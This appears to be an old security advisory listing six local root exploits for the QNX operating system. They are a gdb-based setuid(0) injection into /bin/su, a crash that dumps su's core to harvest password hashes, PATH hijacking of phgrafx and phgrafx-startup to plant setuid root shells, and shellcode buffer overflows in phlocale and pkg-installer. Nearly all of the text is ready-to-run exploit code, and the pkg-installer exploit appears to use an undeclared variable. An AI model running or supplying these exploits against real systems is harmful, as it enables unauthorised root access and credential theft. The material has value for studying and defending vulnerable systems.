	QNX buffer overflows and other goodies...

SYSTEMS AFFECTED

	Current QNX distribution

PROBLEM

	badc0ded@badc0ded.com found many bugs on QNX:
	

	 Issue 0x0 Kernel

	 ================

	

	QNX Allows local users to attach to  any  process.  Not  being  familiar
	with the QNX API and terminology, I can  only  describe  it  as  if  you
	could attach to ANY process with ptrace() regardless of  your  uid/euid.
	An example to clear things up :)
	

	

	$ cat tmp.c

	main ()

	{

	  printf(\"euid=%i\\n\",geteuid());

	}

	$ ls -l tmp

	-rwsr-xr-x  1 root      100            4021 May 20 13:31 tmp

	$ ./tmp

	euid=0

	So far everything is normal.

	$ gdb tmp

	GNU gdb 5.0

	This GDB was configured as \"--host=x86-pc-nto-qnx --target=ntox86\"...

	(no debugging symbols found)...

	(gdb) r

	Starting program: /tmp/tmp

	(gdb) c

	Continuing.

	euid=0

	

	Program exited normally.

	(gdb)

	

	

	Uh oh.. not quite the result you would expect..
	

	Exploit:
	

	#!/bin/sh

	

	#include <std_shouts.h>

	#include <std_disclaimer.h>

	#http://www.badc0ded.com 

	

	echo \"#!/bin/sh\" > /tmp/runme

	echo cp /bin/sh /tmp/sh > /tmp/runme

	echo chmod 4755 /tmp/sh >> /tmp/runme

	chmod 755 /tmp/runme

	echo r root -c /tmp/runme > /tmp/badc0ded

	echo break *main+44 >> /tmp/badc0ded

	echo c >> /tmp/badc0ded

	echo \"call setuid(0)\" >> /tmp/badc0ded

	echo c >> /tmp/badc0ded

	gdb /bin/su  < badc0ded > /dev/null

	echo \"www.badc0ded.com\"

	sleep 1

	rm /tmp/runme /tmp/badc0ded

	/tmp/sh

	

	

	

	 Issue 0x1 /bin/su

	 ==================

	

	/bin/su accepts SIGSEGV and dumps world readable core.
	

	Exploit:
	

	#!/bin/sh

	#include <std_shouts.h>

	#include <std_disclaimer.h>

	# www.badc0ded.com <= we are in the .dot core, really :) 

	

	# If everything works you should get a \"copy\" of /etc/shadow 

	# in /tmp called mypasswd. 

	 

	su > /dev/null &

	kill -SEGV `ps -A | grep su | awk {\'print $1\'}`

	strings /var/dumps/su.core | grep \":0:0\" > /tmp/mypasswd

	

	

	

	 Issue 0x2 phgrafx

	 ==================

	

	phgrafx executes crttrap with system() without first dropping its euid.
	

	Exploit:
	

	#!/bin/sh

	#

	# click advanced,done, apply, accept and done. 

	# now you should have a setuid root shell waiting in /tmp/badc0ded

	#

	# www.badc0ded.com

	echo \"#!/bin/sh\" > /tmp/crttrap

	echo \"cp /bin/sh /tmp/badc0ded\" >> /tmp/crttrap

	echo \"chmod 4777 /tmp/badc0ded\" >> /tmp/crttrap

	echo \"/usr/bin/crttrap \\$1 \\$2 \\$3 \\$4 \\$5 \\$6 \\$7 \\$8 \\$9 \" >> /tmp/crttrap

	chmod 755 /tmp/crttrap

	export PATH=\"/tmp:$PATH\"

	/usr/photon/bin/phgrafx

	

	

	

	 Issue 0x3 phgrafx-startup

	 =========================

	

	Same problem as phgrafx
	

	Exploit:
	

	#!/bin/sh

	#

	# click test,restore,continue  

	# now you should have a setuid root shell waiting in /tmp/badc0ded

	#

	# www.badc0ded.com

	echo \"#!/bin/sh\" > /tmp/crttrap

	echo \"cp /bin/sh /tmp/badc0ded\" >> /tmp/crttrap

	echo \"chmod 4777 /tmp/badc0ded\" >> /tmp/crttrap

	echo \"/usr/bin/crttrap \\$1 \\$2 \\$3 \\$4 \\$5 \\$6 \\$7 \\$8 \\$9 \" >> /tmp/crttrap

	chmod 755 /tmp/crttrap

	export PATH=\"/tmp:$PATH\"

	/usr/photon/bin/phgrafx-startup

	

	

	

	 Issue 0x4 phlocale

	 ==================

	

	$ABLANG Buffer overflows and other goodies..
	

	Exploit:
	

	/* QNX phlocale $ABLANG exploit, gives you a cute euid=0 shell. 

	 * If it doesnt work for you, then you most likely need to change

	 * the address to system() and/or the ret.

	 * 

	 * www.badc0ded.com 

	*/

	

	main ()

	{ 

	   char s[]=\"\\xeb\\x0e\\x31\\xc0\\x5b\"

	            \"\\x88\\x43\\x2\\x53\\xbb\"

	            \"\\x80\\x95\\x04\\x08\"       //system() address

	            \"\\xff\\xd3\\xe8\\xed\\xff\"

	            \"\\xff\\xff\\x73\\x68\";

	   char payload[1000];

	   memset (payload,0x90,sizeof(payload));

	   sprintf(payload+971,\"%s%s\",s,\"\\x78\\x7b\\x04\\x08\");

	   setenv(\"ABLANG\",payload);

	   execlp(\"/usr/photon/bin/phlocale\",\"phlocale\",0);

	}

	

	

	

	 Issue 0x5 pkg-installer.c

	 =========================

	

	Simple cmdline buffer overflow in -u argument
	

	Exploit:
	

	/* Quick and dirty QNX pkg-installer root exploit.

	 * The shellcode sucks, it is longer than it has

	 * to be and you need the address to system() for 

	 * it to work. Yes I know I\'m lazy....

	 * 

	 * http://www.badc0ded.com 

	*/

	

	main(int argc, char **argv)

	{

	   int ret=0x804786d;

	   char *pret;

	   char s[]=\"\\xeb\\x0e\\x31\\xc0\\x5b\"

	            \"\\x88\\x43\\x2\\x53\\xbb\"

	            \"\\xe4\\xb4\\x04\\x08\"       //system() address

	            \"\\xff\\xd3\\xe8\\xed\\xff\"

		    \"\\xff\\xff\\x73\\x68\";

	      ret=ret-atoi(argv[1]);

	   pret=&ret;

	   memset(payload,0x90,1254);

	   sprintf(payload+1254,\"%s%s\",s,pret);

	   execlp(\"/usr/photon/bin/pkg-installer\",\"pkg-installer\",\"-u\",payload,0);

	

	}
